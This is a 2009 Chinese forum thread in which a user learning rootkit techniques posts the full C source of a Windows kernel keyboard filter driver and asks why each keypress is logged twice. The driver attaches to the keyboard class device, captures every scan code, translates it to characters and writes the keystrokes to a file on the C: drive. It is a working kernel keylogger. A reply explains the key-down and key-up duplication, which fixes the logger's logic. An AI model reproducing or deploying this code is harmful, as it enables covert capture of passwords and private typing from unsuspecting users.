wesen8105
驱动牛犊
驱动牛犊
  • 注册日期2008-10-25
  • 最后登录2009-11-04
  • 粉丝0
  • 关注0
  • 积分12分
  • 威望93点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:2364回复:2

过滤键盘钩子为什么会按一次按钮记录2次一样的按钮

楼主#
更多 发布于:2009-03-23 00:31
大家好,最近在学 rootkit的键盘钩子
根据书上的我自己写了一次,可以成功勾住了但是每按一次键盘就钩2次,这是为什么啊!请各位大牛帮忙我好吗
#ifdef __cplusplus
extern "C" {
#endif
#include <ntddk.h>
#include "ntddkbd.h"
#include <string.h>
#ifdef __cplusplus
}; // extern "C"
#endif

#include "FilterKeybd.h"

#ifdef __cplusplus
namespace { // anonymous namespace to limit the scope of this global variable!
#endif
PDRIVER_OBJECT pdoGlobalDrvObj = 0;
#ifdef __cplusplus
}; // anonymous namespace
#endif
//-----------global varian------------------------------------//
ULONG numPendingIRP;


#pragma PAGECODE
NTSTATUS FILTERKEYBD_Dispatch(
    IN PDEVICE_OBJECT        DeviceObject,
    IN PIRP                    Irp
    )
{
    //获得设备扩展
    PDEVICE_EXTENSION pDeviceExt;
    pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension;

    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(pDeviceExt->pKBDeviceObject,Irp);
}

#pragma PAGECODE
NTSTATUS
  IoReadCompletion(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    )
{
    //获得设备扩展
    PDEVICE_EXTENSION pDeviceExt;
    pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension;

    if(Irp->IoStatus.Status==STATUS_SUCCESS)
    {
        PKEYBOARD_INPUT_DATA keys=(PKEYBOARD_INPUT_DATA)(Irp->AssociatedIrp.SystemBuffer);
        int numKeys=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
        //遍历所有数组成员,从每个成员中获取击键动作
        for(int i=0;i<numKeys;i++)
        {
            DbgPrint("ScanCoed:%x\n",keys.MakeCode);
            if(keys.Flags==KEY_MAKE)            
                DbgPrint("%s\n","Key_Down");
            //因为这里是在DISPATCH_LEVEL等级上,不能对文件进行读写操作
            KEY_DATA *kData=(KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
            //保存数据
            kData->Flags=(char)keys.Flags;
            kData->KeyData=(char)keys.MakeCode;
             //对链表的访问必须采用关键段同步机制
            ExInterlockedInsertTailList(&pDeviceExt->QueueListHead,
                                         &kData->ListEntry,
                                         &pDeviceExt->lockQueue);

            //并同时增加一个信号灯
             KeReleaseSemaphore(&pDeviceExt->semQueue,0,1,false);
            

        }
    }
    if(Irp->PendingReturned)
    {
        IoMarkIrpPending(Irp);
    }
    
    numPendingIRP--;
    return Irp->IoStatus.Status;

}
#pragma PAGECODE
NTSTATUS
    FILTERKEYBD_Read(
    IN PDEVICE_OBJECT    DeviceObject,
    IN PIRP                Irp
    )
{
    //获得设备扩展
    PDEVICE_EXTENSION pDeviceExt;
    pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension;

    IoCopyCurrentIrpStackLocationToNext(Irp);
    //设置完成例程,当底层的设备完成时调用这个函数
    IoSetCompletionRoutine(Irp,IoReadCompletion,DeviceObject,true,true,true);
    //这里需要将挂起的IRP的数量记录起来
    numPendingIRP++;
    return IoCallDriver(pDeviceExt->pKBDeviceObject,Irp);

}

#pragma PAGECODE
VOID FILTERKEYBD_DriverUnload(
    IN PDRIVER_OBJECT        DriverObject
    )
{
    //获得设备扩展
    PDEVICE_EXTENSION pDeviceExt=(PDEVICE_EXTENSION )DriverObject->DeviceObject->DeviceExtension;
    KdPrint(("UnLoad Device\n"));

    //必须使用IODetachDevice函数除去
    IoDetachDevice(pDeviceExt->pKBDeviceObject);
    KdPrint(("KeyBoard Hook detach\n"));
    //使用一个定时器,直到所有的IRP完成
    KTIMER kTimer;
    LARGE_INTEGER timeOut;
    timeOut.QuadPart=1000000;//1s
    KeInitializeTimer(&kTimer);
    while(numPendingIRP>0)
    {
        KeSetTimer(&kTimer,timeOut,NULL);
        KeWaitForSingleObject(&kTimer,Executive,KernelMode ,FALSE,NULL);
    }
    //结束线程
    pDeviceExt->bThreadTeminate=true;
    KeReleaseSemaphore(&pDeviceExt->semQueue,0,1,true);
    KdPrint(("Wait for Thread is teminate......\n"));
    KeWaitForSingleObject(pDeviceExt->pThreadObj,Executive,KernelMode ,FALSE,NULL);
    KdPrint(("Thread have teminate!!!!\n"));
    
    //关闭日志文件
    ZwClose(pDeviceExt->hLogFile);
    //执行适当的常规清理工作
    IoDeleteDevice(DriverObject->DeviceObject);
    KdPrint(("所有的已经结束\n"));
    return;
}

#pragma PAGECODE
CHAR *GetKeyToString(char KeyData)
{
    switch(KeyData)
    {
                    case 0x1:
                        return"(ESC)";
                        
                    case 0x2:
                        return "1";
                        
                    case 0x3:
                        return"2";
                        
                    case 0x4:
                        return"3";
                    
                    case 0x5:
                        return"4";
                    
                    case 0x6:
                        return("5");
                    
                    case 0x7:
                        return("6");
                
                    case 0x8:
                        return("7");
                    
                    case 0x9:
                        return("8");
                    
                    case 0xA:
                        return("9");
                
                    case 0xB:
                        return("0");
                    
                    case 0xC:
                        return("-");
                    
                    case 0xD:
                        return("=");
                    
                    case 0xE:
                        return("(BACKSPACE)");
                    
                    case 0xF:
                        return("(TAB)");
                    
                    case 0x10:
                        return("Q");
                    
                    case 0x11:
                        return("W");
                    
                    case 0x12:
                        return("E");
                    
                    case 0x13:
                        return("R");
                    
                    case 0x14:
                        return("T");
                    
                    case 0x15:
                        return("Y");
                    
                    case 0x16:
                        return("U");
                    
                    case 0x17:
                        return("I");
                    
                    case 0x18:
                        return("O");
                    
                    case 0x19:
                        return("P");
            
                    case 0x1A:
                        return("[");
                    
                    case 0x1B:
                        return("]");
                    
                    case 0x2B:
                        return("\\");
                
                    case 0x1D:
                        return("(LEFT CTRL)");
                    
                    case 0x1E:
                        return("A");
                        
                    case 0x1F:
                        return("S");
                
                    case 0x20:
                        return("D");
            
                    case 0x21:
                        return("F");
    
                    case 0x22:
                        return("G");
        
                    case 0x23:
                        return("H");
            
                    case 0x24:
                        return("J");
            
                    case 0x25:
                        return("K");
                    
                    case 0x26:
                        return("L");
                    
                    case 0x27:
                        return(";");
        
                    case 0x28:
                        return("'");
    
                    case 0x29:
                        return("`");
            
                    case 0x2A:
                        return("(LEFT SHIFT)");
                
                    case 0x1C:
                        return("(ENTER)");
                    
                    case 0x2C:
                        return("Z");
                
                    case 0x2D:
                        return("X");
                    
                    case 0x2E:
                        return("C");
                    
                    case 0x2F:
                        return("V");
                    
                    case 0x30:
                        return("B");

                    case 0x31:
                        return("N");
                    
                    case 0x32:
                        return("M");
                    
                    case 0x33:
                        return(",");
                    
                    case 0x34:
                        return(".");
                
                    case 0x35:
                        return("/");
        
                    case 0x36:
                        return("(RIGHT SHIFT)");
            
                    case 0x37:
                        return("*");
        
                    case 0x38:
                        return("(LEFT ALT)");
        
                    case 0x39:
                        return("(SPACE)");
    
                    case 0x3A:
                        return("(CAP LOCK)");
        
                    case 0x3B:
                        return("(F1)");
    
                    case 0x3C:
                        return("F2");

                    case 0x3D:
                        return("F3");
            
                    case 0x3E:
                        return("F4");

                    case 0x3F:
                        return("F5");
        
                    case 0x40:
                        return("F6");
            
                    case 0x41:
                        return("F7");
    
                    case 0x42:
                        return("F8");
                
                    case 0x43:
                        return("F9");
            
                    case 0x44:
                        return("F10");
            
                    case 0x45:
                        return("(NumLock)");
                
                    case 0x46:
                        return("/");
            
                    case 0x47:
                        return("7");
                
                    case 0x48:
                        return("8");
            
                    case 0x49:
                        return("9");
            
                    case 0x4A:
                        return("-");
            
                    case 0x4B:
                        return("4");
                    
                    case 0x4C:
                        return("5");
                
                    case 0x4D:
                        return("6");
                
                    case 0x4E:
                        return("+");
                        
                    case 0x4F:
                        return("1");
                        
                    case 0x50:
                        return("2");
                        
                    case 0x51:
                        return("3");
                        
                    case 0x52:
                        return("0");
                        
                    case 0x53:
                        return(".");
                        
                    case 0x57:
                        return("F11");
                        
                    case 0x58:
                        return("F12");
                        
                    default:
                        return"(#)";
                        
    }
    return "(#)";
}
#pragma PAGECODE
VOID LogThreadRoution(IN PVOID pContext)
{
    //取得扩展设备
    PDEVICE_EXTENSION pDeviceExt=(PDEVICE_EXTENSION)pContext;
    //取得下一设备对象
    PDEVICE_OBJECT pNextDeviceObj=pDeviceExt->pKBDeviceObject;
    PLIST_ENTRY pListEntry;
    PKEY_DATA pKeyData;
    while(1)
    {    
        //等待扩展设备里面的信号灯有信号状态
        KeWaitForSingleObject(&pDeviceExt->semQueue,
                              Executive,
                              KernelMode,
                              FALSE,
                              NULL);
        //如果是退出
        if(pDeviceExt->bThreadTeminate==true)
        {
            ::PsTerminateSystemThread(STATUS_SUCCESS);
        }
        //用原子操作来把队列里面的头内容出列
        pListEntry=ExInterlockedRemoveHeadList(&pDeviceExt->QueueListHead,&pDeviceExt->lockQueue);
        //用CONTAINING_RECORD宏来指向pListEntry结构中数据的指针
        pKeyData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
        char *strKey=GetKeyToString(pKeyData->KeyData);
        KdPrint((strKey));
        if(pDeviceExt->hLogFile != NULL)
        {
            IO_STATUS_BLOCK io_status;
            NTSTATUS status = ZwWriteFile(pDeviceExt->hLogFile,
                                          NULL,
                                          NULL,
                                          NULL,
                                          &io_status,
                                          strKey,
                                          strlen(strKey),
                                          NULL,
                                          NULL);
            if(status != STATUS_SUCCESS)
                KdPrint(("Failed Write .............\n"));
            else
                KdPrint(("Successful Write Scan Code to file\n"));
            
        }
                                
    }

}
#pragma PAGECODE
NTSTATUS InitThreadKeyLogger(
    IN PDEVICE_OBJECT DeviceObject
    )
{
    //获得设备扩展
    PDEVICE_EXTENSION pDeviceExt;
    pDeviceExt=(PDEVICE_EXTENSION )DeviceObject->DeviceExtension;
    
    //先把线程终止状态设置为false
    pDeviceExt->bThreadTeminate=false;

    //为做记录创建一个线程
    HANDLE hThread;
    NTSTATUS status=PsCreateSystemThread(&hThread,
                                        THREAD_ALL_ACCESS ,
                                        NULL,
                                        (HANDLE)0,
                                        NULL,
                                        LogThreadRoution,
                                        pDeviceExt);
    if(!NT_SUCCESS(status))
        return status;
    // 把线程对象保存进设备扩展里面
    ObReferenceObjectByHandle(hThread,
                              THREAD_ALL_ACCESS,
                              NULL,
                              KernelMode,
                              (PVOID*)&pDeviceExt->pThreadObj,
                              NULL);
    ZwClose(hThread);

    return 0;
}

#pragma INITCODE
#ifdef __cplusplus
extern "C" {
#endif
NTSTATUS DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    )
{
    PDEVICE_OBJECT KeyDeviceObj = 0;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    pdoGlobalDrvObj = DriverObject;
    ULONG i=0;
    UNICODE_STRING DriverName;
    PFILE_OBJECT  pFileObject;
    PDEVICE_OBJECT pDeviceObject;
    PDEVICE_EXTENSION pDeviceExt;
    numPendingIRP=0;
    UNICODE_STRING usLogFileName;
    OBJECT_ATTRIBUTES  objAttributes;
    IO_STATUS_BLOCK        File_Status;

    KdPrint(("Entry wesen KeyBorad Driver\n"));
    //初始化各个功能号函数指针
    for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
    {
        DriverObject->MajorFunction=FILTERKEYBD_Dispatch;
    }

    DriverObject->MajorFunction[IRP_MJ_READ]=FILTERKEYBD_Read;

    DriverObject->DriverUnload = FILTERKEYBD_DriverUnload;


    //初始化需要获得要附的设备的名字
    RtlInitUnicodeString(&DriverName,L"\\Device\\KeyboardClass0");
    //从设备名获得设备的文件对象和设备对象
    IoGetDeviceObjectPointer(&DriverName,
                             FILE_ALL_ACCESS ,
                             &pFileObject,
                             &pDeviceObject);
    
    // 创建一个设备
    if(!NT_SUCCESS(status = IoCreateDevice(
        DriverObject,//驱动对象            
        sizeof(DEVICE_EXTENSION),//设备扩展大小
        NULL,            //没有命名
        pDeviceObject->Type,//设备类型
        FILE_DEVICE_SECURE_OPEN,//设备属性
        FALSE,//这个不知道什么用
        &KeyDeviceObj
        )))
    {
        return status;
    };

    //IoAttachDevice
    //获得设备扩展
    pDeviceExt = (PDEVICE_EXTENSION)KeyDeviceObj->DeviceExtension ;
    //设备扩展清零
    RtlZeroMemory(pDeviceExt,sizeof(DEVICE_EXTENSION));
    //把设备附在keyboardclass0的设备栈上,并保存到设备扩展中
    pDeviceExt->pKBDeviceObject=IoAttachDeviceToDeviceStack(KeyDeviceObj,pDeviceObject);
    
    //修改设备的一些标识
    KeyDeviceObj->Type=pDeviceObject->Type;
    KeyDeviceObj->Characteristics = pDeviceObject->Characteristics;
    KeyDeviceObj->Flags &=~DO_DEVICE_INITIALIZING;
    KeyDeviceObj->Flags |=((pDeviceObject->Flags) & (DO_BUFFERED_IO | DO_DIRECT_IO));
    
    //初始化链表头
    InitializeListHead(&pDeviceExt->QueueListHead);
    //初始化自旋锁
    KeInitializeSpinLock(&pDeviceExt->lockQueue);
    //初始化信号灯
    KeInitializeSemaphore(&pDeviceExt->semQueue,0,MAXLONG);
    //到这里我们的设备已经附在设备栈上,应该创建一个系统的线程来记录键盘
    InitThreadKeyLogger(KeyDeviceObj);

    //打开要记录的文件
    RtlInitUnicodeString(&usLogFileName,L"\\DosDevices\\c:\\wesen.txt");

    InitializeObjectAttributes(&objAttributes,&usLogFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    
    status=ZwCreateFile(&pDeviceExt->hLogFile,
                 GENERIC_WRITE,
                 &objAttributes,
                 &File_Status,
                 NULL,
                 FILE_ATTRIBUTE_NORMAL,
                 FILE_SHARE_READ,
                 FILE_OPEN_IF,
                 FILE_SYNCHRONOUS_IO_NONALERT,
                 NULL,
                 0);
    if(status != STATUS_SUCCESS)
    {
        KdPrint(("Failed to Create file for log\n"));
        KdPrint(("File status=%x\n",File_Status));
    }
    else
    {
        KdPrint(("Successful Create file for Log\n"));
    }

    return STATUS_SUCCESS;
}
#ifdef __cplusplus
}; // extern "C"
#endif

///////////////////////////////////////////////////////////////////////////////
///
/// Copyright (c) 2009 - <company name here>
///
/// Original filename: FilterKeybd.h
/// Project          : FilterKeybd
/// Date of creation : <see FilterKeybd.cpp>
/// Author(s)        : <see FilterKeybd.cpp>
///
/// Purpose          : <see FilterKeybd.cpp>
///
/// Revisions:         <see FilterKeybd.cpp>
///
///////////////////////////////////////////////////////////////////////////////

// $Id$

#ifndef __FILTERKEYBD_H_VERSION__
#define __FILTERKEYBD_H_VERSION__ 100

#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif


#include "drvcommon.h"
#include "drvversion.h"

//#define DEVICE_NAME            "\\Device\\FILTERKEYBD_DeviceName"
//#define SYMLINK_NAME        "\\DosDevices\\FILTERKEYBD_DeviceName"
//PRESET_UNICODE_STRING(usDeviceName, DEVICE_NAME);
//PRESET_UNICODE_STRING(usSymlinkName, SYMLINK_NAME);

#ifndef FILE_DEVICE_FILTERKEYBD
#define FILE_DEVICE_FILTERKEYBD 0x800
#endif

#define PAGECODE code_seg("PAGE")
#define INITCODE code_seg("INIT")
#define LOCKCODE code_seg()
// Values defined for "Method"
// METHOD_BUFFERED
// METHOD_IN_DIRECT
// METHOD_OUT_DIRECT
// METHOD_NEITHER
//
// Values defined for "Access"
// FILE_ANY_ACCESS
// FILE_READ_ACCESS
// FILE_WRITE_ACCESS

const ULONG IOCTL_FILTERKEYBD_OPERATION = CTL_CODE(FILE_DEVICE_FILTERKEYBD, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA);

typedef struct _DEVICE_EXTENSION
{
    PDEVICE_OBJECT pKBDeviceObject;//保存了下一个栈的设备
    PETHREAD     pThreadObj;
    bool         bThreadTeminate;
    HANDLE         hLogFile;
//    KEY_STATE kState;
    KSEMAPHORE     semQueue;
    KSPIN_LOCK     lockQueue;
    LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION,*PDEVICE_EXTENSION;

typedef struct _KEYBOARD_INPUR_DATA
{
    USHORT    UnitId;
    USHORT    MakeCode;
    USHORT    Flags;
    USHORT    Reserved;
    ULONG    ExtraInformation;
}KEYBOARD_INPUR_DATA,*PKEYBOARD_INPUR_DATA;

typedef struct _KEY_DATA
{
    char    KeyData;
    char    Flags;
    LIST_ENTRY ListEntry;
}KEY_DATA,*PKEY_DATA;

#endif // __FILTERKEYBD_H_VERSION__
rong1978
驱动牛犊
驱动牛犊
  • 注册日期2006-09-11
  • 最后登录2012-02-16
  • 粉丝1
  • 关注0
  • 积分39分
  • 威望74点
  • 贡献值0点
  • 好评度3点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2009-03-25 17:59
因为按下记录一次,松开也记录一次,你自己要在程序里作判断的,只记录按下或只记录放开时的键,如果不做判断就记录两次,所以记录的内容都是aabbccddee
AllenZh
驱动老牛
驱动老牛
  • 注册日期2001-08-19
  • 最后登录2015-11-27
  • 粉丝19
  • 关注10
  • 积分1316分
  • 威望2387点
  • 贡献值7点
  • 好评度321点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2009-04-04 19:53
这个驱动用到USB键盘问题应该不少
1,承接Windows下驱动/应用开发 2,本人原创虚拟鼠标/键盘,触摸屏,虚拟显卡,Mirror驱动,XP无盘的SCSI虚拟磁盘驱动等 3,windows下有尝技术服务(包括BUG调试,员工培训等) 欢迎深圳和海外企业联系.msn:mfczmh@sina.com
游客

返回顶部